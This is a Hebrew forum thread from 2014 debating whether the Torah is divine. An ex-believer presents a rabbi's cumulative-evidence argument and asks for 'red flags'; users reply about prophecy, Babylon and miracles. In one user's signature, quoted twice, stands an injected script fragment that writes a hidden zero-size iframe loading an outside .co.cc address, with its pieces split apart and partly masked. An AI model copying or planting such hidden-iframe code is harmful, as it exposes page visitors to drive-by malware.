בית פורומים עצור כאן חושבים

בין תורה משמיים לשוטה של ר' חיים

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-27/4/2014 19:53 לינק ישיר 
בין תורה משמיים לשוטה של ר' חיים

רקע:

דוס. אברך פלוס שניים. לפני שנה –מאמין אדוק בהגיון המחייב את דתו. היום –כופר גמור בתחפושת. גורם הכפירה –גילוי האמת. גורם הגילוי –הניסיון להוכיח לחבר עם "בעיות באמונה" את האמת היחידה. סייענים –שוחרי האמת שבפורום הנכבד הזה. תודה.

בעצם, לא תודה. הרסתם את חיי.

מהי האמת שגיליתי? לא את האמת של דוקינס, גיליתי את האמת על החיים שלי: חייתי בבועה. בחתיכת אשליה. בפנטזיה שהיא לא פחות מ'נכס' למחקר הפסיכולוגי.

יחד עם עוד שני חברים, עברנו שנה סוערת, שבה עניינה אותנו שאלה אחת: נכון או לא נכון? היה או לא היה?    -קראנו שמענו וצפינו כמעט בכל מה שאיכשהו קשור לשאלה הזו. זו הייתה שנה של וויכוחים, גילויים מרעישים, ציפיות, אכזבות אדירות, ספיקות מנקרים ומחשבות נוגות.

"חקירה אובייקטיבית" –מצטערים, היינו לגמרי מוטים, מגמתיים, מציירי מטרות סביב לחיצים. כל כך רצינו את הצדק איתנו, להוכיח שחיינו עודם חיים, ששנותינו שחלפו, יעמדו לזיכרון לקץ הימין. - סבירויות ששוות ל 0.1% ראינו כ 20%, ניסי מוחמד נשמעו לנו הזויים, בעוד ניסי משה –הגיוניים.

אך אחרי הכל ולפני הכל, הסקנו  – שים לא נקרע לשניים ואין קולות מן השמיים. אז יותר מסתבר, ולו באופן הדחוק ביותר –שאגדות העם התגבשו להן עם הזמן, מאשר סתירת חוקי העל של הטבע.

לא נטשנו את תורת אמנו, ונתנו לה עוד צ'אנס: מפגש עם רב חכם ולא שיגרתי. (את רוב משנתו כבר הכרנו, מקריאה בחלק מספריו ומאמריו, אך חפצנו בסיעור מוחות שלא מותיר אבן על אבן) החלטנו שאם הוא לא יצליח לשכנע אותנו, גם משה רבנו לא היה משכנע.

התקשרנו. נפגשנו. גינה ירושלמית. דמדומי חמה. קור כלבים ואדם גדול, צנוע ולבבי, שסירב לשום תמורה על השעתיים וחצי אקדמאיות שהקדיש עבורנו.

פתחנו בשאלה הפשוטה ביותר: מדוע אתה –כבוד הרב, מאמין באמיתת יהדותנו?

וכה הייתה תשובתו [מקווה שאני מדייק, זה קרה לפני חצי שנה]:

א.     אין לי הוכחה וידיעה ברורה של 100%, כפי שאין לשום דבר.

ב.     אני יודע שיש בורא לעולם. (הוא פירש לנו בקצרה איך, אך אין זה הדיון כאן, אנא אל תסטו).

ג.      כעת נותר הספק האם הייתה אינטראקציה בין הבורא לאנושות כפי שטוענת המסורת (מעמד הר סיני/תורה משמיים). ובספק זה, יש לי סבירות רבה שאכן אותה אינטראקציה התרחשה.

אך הסבירות איננה נשענת על הוכחה אחת או ראיה אחת, כי לכל אחת בפני עצמה –יש דחייה טובה, ולכן לא ניתן להעלות ממנה מסקנה כבירה כ"תורה משמיים".

אלא מכלול ההוכחות והעובדות המוזרות, שהגם שלכולן יש הסברים טבעיים, כבר יותר מסתבר להניח תירוץ אחד –שהתורה 'תורת אמת' היא, מאשר אוסף הסברים מפולפלים.

בדיוק כמו ה'שוטה' של ר' חיים, שאם נעמיד כל שאלה בפ"ע, לדוג' "מדוע הוא לן בית הקברות" –יותר מסתבר תירוץ מפולפל שאין לו היכן לישון וכדו', מאשר התירוץ הפשוט אבל המחודש –שהוא שוטה, אך בקיבוץ כמה שאלות כאלו יחד –הסבירות משתנה, ונוח לנו בחידוש שבתירוץ הפשוט מאשר אוסף ההסברים המפולפלים.

עכת"ד בקיצור. (למען האמת, משנתו זו של הרב, נכתבה כאן על ידו מס' פעמים, אך כולן היו שוליים לנושא האשכול שבו עלו, ואף פעם 'אמונה' זו לא עלתה לדיון).


וטרם אעלה את שאלותיי בפניכם, אתן 2 דוגמאות שיחדדו את העניין:

1.     בתורה שוודאי נכתבה טרם הגלות, נאמר שהעם יגלה, ושלבסוף ישוב לארצו. נבואה זו התממשה על אף שהתרחשות כזו נוגדת את הניסיון ההיסטורי.

אין ספק שעובדה מוזרה זו, (שהעתיד הלא צפוי נכתב מראש) דורשת הסבר.

לפנינו 2 הסברים, פשוט ומפולפל, הפשוט אומר -שהתורה נכתבה בידי האל המתערב, והמפולפל אומר –שדווקא זכירת הנבואה גרמה את התגשמותה, שלאחר מאות שנים של טיפוח התקווה אצל העם לשיבת ציון, והחדרתה לכל התפילות שבכל יום –פותחה אצל העם זיקה עצומה למולדת אבותם, עד שהתעוררו כמה אנשים והחליטו לממש את התקווה הזו.

-        ודאי שאם נעמיד שאלה זו בפני עצמה, סביר יותר להחזיק בתירוץ המפולפל והטבעי, מאשר התירוץ הפשוט אך הניסי. השאלה היא מה יקרה עם עוד כמה 'נורות אדומות' כאלו?

2.     עם שלם (וקצת הרבה יותר) מספר, כבר לפחות 2,300 שנים, שאלוהים ירד על הר סיני ונתן לישראל תורה.

מהיכן צץ לו הסיפור הזה? –זו שאלה שדורשת הסבר.

לפנינו 2 הסברים, פשוט ומפולפל, הפשוט אומר –שהסיפור הזה אכן היה. והמפולפל אומר –שזו אגדת עם שהתפתחה מאירוע של מנהיג שעמד על גבעה ונאם לעם, וכדרכן של אגדות עם, כשירחיק הזמן והמקום, מתפתחות להן עד לכדי הזיות, ובהתחשב בתרבות הפגאנית של העולם העתיק וכו', כמו שללא ספק היה מלך בשם ארתור, אך גם ללא ספק הוא לא שלף חרב מליבת סלע, אך זה טיבען של אגדות (ותשאלו את החסידים), כך התפתחה לה אגדה זו, עד שגם הועלתה על הכתב בידי שפן הסופר או עזרא או מי שתרצו (אנא אל תכנסו לזה כאן, לא זה המקום, כבר נכתב ע"ז בלי סוף בפורום).

-        גם כאן, ודאי שבהתייחסות לשאלה זו בפ"ע, סביר יותר להחזיק בתירוץ המפולפל והטבעי, מאשר התירוץ הפשוט אך הנוגד את חוקי הטבע. אך אין ספק שגם לאחר היישוב המפולפל, עובדה זו עודנה 'דגל אדום' שיש לשים לב אליו.

(וכאן יש שאלה פרטית, האם שלל סיפורי העם, כמו עשרת המכות, קריעת הים, מתן תורה ושאר ניסי ה', ייחשבו כל אחד כ'דגל אדום' נפרד, או שכל סיפורי המקרא שגם מסופרים בעם, נחשבים לדגל אדום אחד?).


וכעת אני מגיע לשאלותיי לחכמי הפורום:

1.     מהם הפרמטרים הקובעים איזו עובדה ראויה להיכלל במכלול? (בהודעה אחרת, אכתוב את מה שנלענ"ד).

2.     אני חותר לכמת את המכלול, נניח "מכלול 20 הקושיות", כך שאשמח אם תוסיפו לי עוד עובדות/הוכחות/ראיות, שעומדות בפרמטרים הנ"ל.

3.     האם "מכלול שלילי" משפיע? –כלומר, מכלול ראיות עם פרמטרים זהים, שמלמד לכאו', שהתורה אינה משמיים (אולי כל הצע"ג של רעק"א?) א- האם יש כזה מכלול? ב- את"ל דישנו, האם ישפיע על הסקת מסקנה מן המכלול החיובי?

4. האם מכלול התומך בדת אחרת, א'- צריך לעניין אותי. ב'- את"ל שכן, האם יש סתירה בכך שכמה דתות נכונות. ג'- את"ל שיש סתירה, האם אצטרך להעריך את משקלן של כל המכלולים ולבחור את המרשים מכולן?

5.  ולבסוף, השאלה החשובה ביותר: כמה 'דגלים אדומים' כאלו, אם בכלל, ישנו את מאזן הסבירות לטובת אמונה במסורת?

 

נ.ב. אנא אל תהפכו אשכול זה, לבמה לתירוצים מפולפלים, אדרבה, אני ניגש מראש עם הנחה שלכל הוכחה יש כמה דחיות, אני רק מחפש את ההוכחות שהדחיות להן מפולפלות והן לא ההסבר הישיר.

_________________





דווח על תוכן פוגעני

מחובר
נשלח ב-3/5/2014 21:52 לינק ישיר 

מיימוני כתב:
בהמשך לדברי שם האחר, קשה לי להתאפק:
[
אולי גירוש ספרד היה בגלל שהמציאו בה את הזוהר?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



הרב מימוני דברך  סקרנו אותי, כשיחת חולין של ת"ח, ולכן עשיתי שאלת חלום- ושאלתי- האמנם בגלל גילוי הזהר היה הגירוש?

והשיבו לי- רצה הקב"ה על ידי משה עבדו לתת תורה לישראל בדרך הפרד"ס, פשט רמז דרש סוד.
והנה בא רבי משה דה ליאון והקדים את  הסוד לראש, והפך את הסדר לספר"ד,
רצה הקדב"ה לחזור לראשונה וגירש אותם מספרד. ולא עלתה בידו- כי רוב עם ישראל נוהגים ספר"ד.





דדווח על תוכן פוגעני

מנותק
נשלח ב-2/5/2014 10:59 לינק ישיר 

ביוטי,
אינני יודע  מ ה ו  אלוהים. ההגדרות שיש לי עליו הן מפעולותיו (מתכנן, יוצר, מנהל) או מתכונות המיוחסות לו (טוב/רע וכדומה).
אם אתה מניח שיש אלוהים, זאת אומרת שאתה מניח לפחות את פעולות התכנון והיצירה.
הסבירות שהמתכנן והיוצר  מ ס ו ג ל לחולל ניסים - היא לדעתי די טובה.
זה לא אומר שהוא באמת עשה ניסים, אבל אם הוא יכול זה מקדם אותנו בהרבה, כי אז אני יכול לסבור, וזה לא מופרך בכלל, שבמצבים מסוימים הוא ישתמש ביכולותיו.
לכן צדק מי שכתב (שכחתי מי) שמציאותו של אלוהים מעלה מאוד את הסבירות לקיומם של ניסים. לא רק מאפשרת אלא מעלה את הסבירות שהם יתרחשו.
[בסוגריים: אלו ניסים? אולי קריעת ים סוף, אולי הליכתו של ישו על המים ואולי דהירתו של מוחמד על הסוס. דומני שבתחרות אמינות הניסים יש ליהדות יתרון לא רע על מתחרותיה, מה גם שהמתחרים (לפחות המונותיאיסטים) מאמינים גם הם בניסים עליהם מספרת היהדות.]



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 23:59 לינק ישיר 

ירוחםשמ כתב:
מטפחת, איך חווית את ההתגלות רק אחרי עשרות תגובות העוסקות בפעולותיו של ה׳ כפי שהן נראות לנו? או שהשואה שונה מקיום עם ישראל, המצב הכלכלי בארץ והעלייה . נ.ב. אני רוצה להדגיש שאין לראות באמור כאן תחליף להתייעצות עם מלאך ו/או גורם שמימי מוסמך.

תוקן על ידי אריאל73 ב- 01/05/2014 15:40:08




יש לך במקרה כתובת דוא"ל או טלפון, לגורם השמימי המוסמך?
במיוחד בשבילך, סוכנת שיווק של מלאך מנוסה http://www.hanaavni.co.il/27848/%D7%AA%D7%A7%D7%A9%D7%95%D7%A8-%D7%A2%D7%9D-%D7%9E%D7%9C%D7%90%D7%9B%D7%99%D7%9D-1



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 23:56 לינק ישיר 



תוקן על ידי אריאל73 ב- 01/05/2014 23:56:20




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 23:14 לינק ישיר 

מי שמקבל ברצינות את הדרשות שמיועדות לילדים ? בצד הטוב נשאר ילד מצד הרע הוא מת טיפש !!
ורק נשאר לשאול אותו איפה היה שהאלוהים חילק שכל ודעת.

עכשיו נסביר לטיפש (המטפורי) את האבסורד ואין סיכוי שיבין ולכן אני כותב את זה לגולשים ולא להם.

אם נביא יודע את העתיד ? אז אין טעם לנבואתו ! הרי מה שחייב לקרות יקרה במילא אז מה הטעם לספר מה יהיה ?
רלוונטיות הנביא היא בכך שאין העתיד ידוע מראש. רק בפעולתינו אנו יוצרים את העתיד. אז יש טעם לנביא ולהזהיר שאם תעשו כך יהיה כך ואם תעשו כך יהיה כך. ולכן הנביא לעולם לא יודע מה יהיה באמת.

עכשיו באים הטיפשים ואומרים: התורה היא לא אנושית כי היא יודעת מה יהיה בעתיד.
חכמי חלם שכמותכם, אם העתיד ידוע מראש ? אז בשביל מה תורה ? הרי הכל קבוע מראש, מה יעזור אם אני חוטא או עושה מצוות ?
מה הרלוונטיות בתורה ? לומר לנו שהעתיד לא ידוע וקבוע מראש רק להפך, בידינו שתהיה עתיד טוב או ח"ו רע. משמע מכאן שהתורה מעצם היותו טוענת שהעתיד לא ידוע. אז אייך אתם רוצים לשכנע אותנו שהתורה היא לא אנשית מעצם שהיא יודעת את העתיד מראש ?

כאמור לעיל. אין סיכוי שהטיפש יבין את זה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/5/2014 22:29 לינק ישיר 

בשנת 525 לפנה"ס נכבשה מצרים בידי הפרסים והממלכה סופחה לשטח פרס עד לשנת 404 לפנה"ס. ייתכן שבתקופה זו היו ארבעים שנות גלות בחלק מערי מצרים. חוסר המידע אינו ראיה לשלילתו.



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/5/2014 22:17 לינק ישיר 

מתי מצרים גלתה ארבעים שנה? (ואם חלק מהנבואות מתקיימות וחלק לא, האם לא הגיוני יותר לתלות אותן בניחוש מוצלח?)



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 21:21 לינק ישיר 

הכל טוב ויפה, אבל יש המון נבואות על גוים מדכאים רבים, משא מואב, משא מצרים, אשוב את שבות בני עמון, ואחרי כן תשכון (מצרים) כימי קדם וכו', ורק על בבל נאמרה נבואה כזו, עם סיכון עצום (לנצח!), והתקיימה!



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/5/2014 19:57 לינק ישיר 

צבוני מנופף בעוד דגל אדום!

(ושליחה שאני חוזר ע"ז, זה רק דגל/נורה אדומה, (ולמי שצריך הסברים- עם שנתון תחת עולו של שלטון המשתעבד בו, בשבילו "מים קרים על נפש עייפה" היא נבואת נקם כמו זו שהוזכרה, וכיוון שזה כ"כ פופולארי בעת כזו, לנבא את מות האכזרים ואת חוסר תקומתם לעולם -היה יותר מאחד שאמר וכתב את זה, וזה אף חדר היטב בעם -כותרת שאוהבים לקרוא -מפרסמים)

תוקן על ידי biutiLife ב- 01/05/2014 19:58:27




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 19:47 לינק ישיר 

הנה דוגמא לנבואה שבה ההסבר ההשגחיי הוא ההגיוני יותר:

העיר בבל הייתה עיר בירתה של האימפריה הבבלית, שנוסדה עוד ע"י נמרוד, בתקופה שלאחר המבול. היא שכנה על נהר הפרת, כמה עשרות ק"מ מדרום לבגדד, ונחשבה לאחת מבין הערים הידועות של העולם העתיק. בכתובות אשוריות עתיקות נקראת עיר זו בכמה שמות, ביניהן "באבואילי", שם המזכיר בצלילו את המילה "בבל", ותרגומו בארמית הוא "שער האלוקים".

העיר בבל שכנה על נהר הפרת, שחצה אותה לשניים, כאשר גשר ענק מקשר בין שני חלקי העיר. נבוכדנצר שיפץ ושכלל את העיר, והתפאר בכך - "דא היא בבל רבתא די אנא בניתה לבית מלכו כתקף חסני וליקר הדרי" (דניאל ד' כ"ז), [תרגום: זו היא בבל הגדולה, שאני בניתיה לבית מלוכה, בחוזק כוחי ולכבוד תפארתי]. בתקופה זו ניטעו בבבל הגנים התלויים המפורסמים, שלפי היסטוריונים יווניים היו אחד משבעת פלאי תבל בעת העתיקה. גנים אלו השתרעו על גבעה מלאכותית בגובה עשרות מטרים, בנויה טראסות-טראסות. מדרגות, מפלים ומזרקות מילאו את הגנים הרבועים. עצים, שיחים ופרחים אקזוטיים שהביא נבוכדנצר ממסעות כיבושיו, ניטעו בטראסות העליונות והזדקרו מעליהן.

מה עלה בגורל הערים העתיקות בעולם?

רוב הערים העתיקות נבנו במקומות נוחים למגורים, בסמוך למקורות מים ולאיזורים חקלאיים. לכן, כאשר נחרבה עיר, לא חלף זמן רב, ועל חורבותיה קמה עיר חדשה. שיקול כלכלי חשוב נוסף היה בכך, שכן בדרך כלל השתמשו באבני העיר ההרוסה לבניית העיר החדשה. כך חסכו בחומרי גלם חדשים, והשתמשו בחומרי בנייה ממוחזרים.

הנה רשימה חלקית של ערים שנחרבו ונבנו בשנית. חלקן אף נחרבו ונבנו שוב במקומן המקורי פעמים רבות:
צור
צידון
עזה
עמאן
בצרה
נוא אמון
יפו
חמת
דמשק
אלכסנדריה
ירושלים
חברון
קונסטנטינופול
אתונה
אשדוד
ועוד...

ומה עלה בגורלה של העיר בבל? האם גם היא נבנתה מחדש???

עד היום ניתן לראות את מקומה של בבל החרבה, כמאה ק"מ דרומית לבגדד. חורבות העיר משתרעות על פני כמה תלים ששטחם הכולל כ-8.5 קמ"ר - מריכוזי החורבות הגדולים ביותר במזרח הקדום. בקצהו הצפוני של שטח החורבות, נתגלו שרידי ארמונותיו המבוצרים של נבוכדנאצר ה-2 על חצרותיהם, חדריהם, המחסנים ואגפי המגורים שלהם. החורבות הן "ערבוביה של קברות ועיי מפולת. ההריסות השוממות מוקפות דממה של בדידות מלאה. אפילו נהר הפרת חיפש ומצא לו אפיק חדש, מערבית לאפיקו הקדום" (ורנר קלר - התנ"ך כהיסטוריה).

גם סאדם חוסיין תכנן לבנות מחדש את בבל, אך לא הצליח להגשים את תוכניותיו.

האם מישהו חזה זאת מראש???

מַשָּׂא בָּבֶל אֲשֶׁר חָזָה, יְשַׁעְיָהוּ בֶּן-אָמוֹץ... וְהָיְתָה בָבֶל צְבִי מַמְלָכוֹת, תִּפְאֶרֶת גְּאוֹן כַּשְׂדִּים, כְּמַהְפֵּכַת אֱלֹהִים אֶת סְדֹם וְאֶת עֲמֹרָה. לֹא תֵשֵׁב לָנֶצַח, וְלֹא תִשְׁכֹּן עַד דּוֹר וָדוֹר, וְלֹא יַהֵל שָׁם עֲרָבִי, וְרֹעִים לֹא יַרְבִּצוּ שָׁם. וְרָבְצוּ שָׁם צִיִּים, וּמָלְאוּ בָתֵּיהֶם אֹחִים, וְשָׁכְנוּ שָׁם בְּנוֹת יַעֲנָה, וּשְׂעִירִים יְרַקְּדוּ שָׁם. וְעָנָה אִיִּים בְּאַלְמְנוֹתָיו, וְתַנִּים בְּהֵיכְלֵי עֹנֶג...
(ישעיהו יג)

הַדָּבָר אֲשֶׁר דִּבֶּר יְהוָה אֶל בָּבֶל, אֶל אֶרֶץ כַּשְׂדִּים, בְּיַד יִרְמְיָהוּ הַנָּבִיא. הַגִּידוּ בַגּוֹיִם... הַשְׁמִיעוּ אַל תְּכַחֵדוּ, אִמְרוּ נִלְכְּדָה בָבֶל הֹבִישׁ בֵּל, חַת מְרֹדָךְ, הֹבִישׁוּ עֲצַבֶּיהָ, חַתּוּ גִּלּוּלֶיהָ... לָכֵן יֵשְׁבוּ צִיִּים אֶת אִיִּים, וְיָשְׁבוּ בָהּ בְּנוֹת יַעֲנָה, וְלֹא תֵשֵׁב עוֹד לָנֶצַח, וְלֹא תִשְׁכּוֹן עַד דּוֹר וָדֹר. כְּמַהְפֵּכַת אֱלֹהִים אֶת סְדֹם וְאֶת עֲמֹרָה, וְאֶת שְׁכֵנֶיהָ נְאֻם יְהוָה, לֹא יֵשֵׁב שָׁם אִישׁ, וְלֹא יָגוּר בָּהּ בֶּן-אָדָם.... וְלֹא יִקְחוּ מִמְּךָ אֶבֶן לְפִנָּה, וְאֶבֶן לְמוֹסָדוֹת, כִּי שִׁמְמוֹת עוֹלָם תִּהְיֶה נְאֻם יְהוָה.
(ירמיהו נ, נא)



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/5/2014 18:21 לינק ישיר 

חזק,
ההבדל בין אלוהים למחולל ניסים, גדול לעין ערוך ממזרח למערב,

אלוהים כשלעצמו הוא  מ ש ה ו,   בעוד מחולל ניסים הוא  מ י ש ה ו,

אלו שתי קטגוריות שונות,
ואני מבקש כאן את השנייה



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 17:56 לינק ישיר 

ביוטי,
את שאלת קיומו של בורא העולם אתה מנסה להוכיח מהסבירות של הניסים?
בהודעה הפותחת את האשכול הצגת עמדה שונה לחלוטין, שהדיון אינו על קיומו של בורא לעולם (הרב עמו נפגשת סידר לך את הפינה הזו כפי שהבנתי), אלא האינטראקציה בינו ובין העולם כפי שמתואר בתורה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 17:36 לינק ישיר 

חזקואמץ,
לגבי הודעתך הקודמת,
הכשל הוא דווקא משום שאינני מניח קיום של מחולל ניסים, אלא שאלת קיומו היא היא לב הדיון

תפוזי,
יפה הגיב לך אורלציון.




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/5/2014 16:51 לינק ישיר 

בהמשך לדברי שם האחר, קשה לי להתאפק:
[
אולי גירוש ספרד היה בגלל שהמציאו בה את הזוהר?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-1/5/2014 16:25 לינק ישיר 

אריאל,
יחזקאל הנביא טוען בתוקף שהשיבה לארץ תהיה לפני התשובה. זה כן התקיים. הוא גם טוען שתהיה תשובה אח"כ, ויתכן שגם זה מתקיים מול עינינו.
האם זה סותר לנאמר בתורה ובספרים נוספים? אולי כן.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > בין תורה משמיים לשוטה של ר' חיים
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 11 12 13 לדף הבא סך הכל 13 דפים.

bholext